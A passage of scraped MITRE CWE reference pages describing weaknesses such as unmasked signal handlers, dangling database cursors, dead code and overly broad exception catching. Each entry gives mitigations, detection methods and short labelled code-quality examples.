Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.4857PK - Encapsulation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.849The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsMobile Code: Non-Final Public Field
CLASPFailure to provide confidentiality for stored data
The CERT Oracle Secure Coding Standard for Java (2011)OBJ10-JDo not use public static nonfinal variables
Software Fault PatternsSFP28Unexpected access points
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Likelihood_of_Exploit, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Background_Details, Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Background_Details, Demonstrative_Examples, Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Mobile Code: Non-final Public Field

CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations

Weakness ID: 432
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.
+ Extended Description
During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.364Signal Handler Race Condition
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

+ Potential Mitigations

Phase: Implementation

Turn off dangerous handlers when performing sensitive operations.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingSIG00-CMask signals handled by noninterruptible signal handlers
PLOVERDangerous handler not cleared/disabled during sensitive operations
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2010-12-13CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name, Potential_Mitigations, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Dangerous Handler not Cleared/Disabled During Sensitive Operations
2010-12-13Dangerous Handler not Disabled During Sensitive Operations

CWE-619: Dangling Database Cursor ('Cursor Injection')

Weakness ID: 619
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."
+ Extended Description
For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.402Transmission of Private Resources into a New Sphere ('Resource Leak')
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
+ Background Details
A cursor is a feature in Oracle PL/SQL and other languages that provides a handle for executing and accessing the results of SQL queries.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThis issue is currently reported for unhandled exceptions, but it is theoretically possible any time the programmer does not close the cursor at the proper time.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

SQL (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

+ Potential Mitigations

Phase: Implementation

Close cursors immediately after access to them is complete. Ensure that you close cursors if exceptions occur.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
This could be primary when the programmer never attempts to close the cursor when finished with it.
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-505] David Litchfield. "The Oracle Hacker's Handbook".
[REF-506] David Litchfield. "Cursor Injection". <http://www.davidlitchfield.com/cursor-injection.pdf>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2008-10-14CWE Content TeamMITRE
updated Background_Details, Description, Relationships
2009-05-27CWE Content TeamMITRE
updated Name
2009-10-29CWE Content TeamMITRE
updated Modes_of_Introduction, Other_Notes, Weakness_Ordinalities
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Dangling Database Cursor (Cursor Injection)
2009-05-27Dangling Database Cursor (aka 'Cursor Injection')

CWE-561: Dead Code

Weakness ID: 561
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains dead code, which can never be executed.
+ Extended Description
Dead code is code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1164Irrelevant Code
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.570Expression is Always False
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.571Expression is Always True
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.
Other

Technical Impact: Reduce Maintainability

+ Demonstrative Examples

Example 1

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null. However, on the only path where s can be assigned a non-null value, there is a return statement.

(bad code)
Example Language: C++ 
String s = null;
if (b) {
s = "Yes";
return;
}

if (s != null) {
Dead();
}

Example 2

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

(bad code)
Example Language: Java 
public class DoubleDead {
private void doTweedledee() {
doTweedledumb();
}
private void doTweedledumb() {
doTweedledee();
}
public static void main(String[] args) {
System.out.println("running DoubleDead");
}
}

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

Example 3

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

(bad code)
Example Language: Java 
public class Dead {
String glue;

public String getGlue() {
return "glue";
}
}
+ Observed Examples
ReferenceDescription
chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint).
+ Potential Mitigations

Phase: Implementation

Remove dead code before deploying the application.

Phase: Testing

Use a static analysis tool to spot dead code.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Binary / Bytecode Quality Analysis
  • Compare binary / bytecode to application permission manifest

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Automated Monitored Execution

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Permission Manifest Analysis

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source Code Quality Analyzer
Cost effective for partial coverage:
  • Warning Flags
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.886SFP Primary Cluster: Unused entities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1130CISQ Quality Measures (2016) - Maintainability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1186SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1307CISQ Quality Measures - Maintainability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingMSC07-CDetect and remove dead code
SEI CERT Perl Coding StandardMSC00-PLExactDetect and remove dead code
Software Fault PatternsSFP2Unused Entities
OMG ASCMMASCMM-MNT-20
+ References
[REF-960] Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". ASCMM-MNT-20. 2016-01. <https://www.omg.org/spec/ASCMM/>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Common_Consequences, References, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Observed_Examples, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-396: Declaration of Catch for Generic Exception

Weakness ID: 396
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
+ Extended Description
Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of a language's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.221Information Loss or Omission
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.705Incorrect Control Flow Scoping
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

Python (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Non-Repudiation
Other

Technical Impact: Hide Activities; Alter Execution Logic

+ Demonstrative Examples

Example 1

The following code excerpt handles three types of exceptions in an identical fashion.

(good code)
Example Language: Java 
try {
doExchange();
}
catch (IOException e) {
logger.error("doExchange failed", e);
}
catch (InvocationTargetException e) {

logger.error("doExchange failed", e);
}
catch (SQLException e) {

logger.error("doExchange failed", e);
}

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

(bad code)
 
try {
doExchange();
}
catch (Exception e) {
logger.error("doExchange failed", e);
}

However, if doExchange() is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from RuntimeException such as ClassCastException, and NullPointerException, which is not the programmer's intent.

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3887PK - Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.960SFP Secondary Cluster: Ambiguous Exception Type
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures (2016) - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

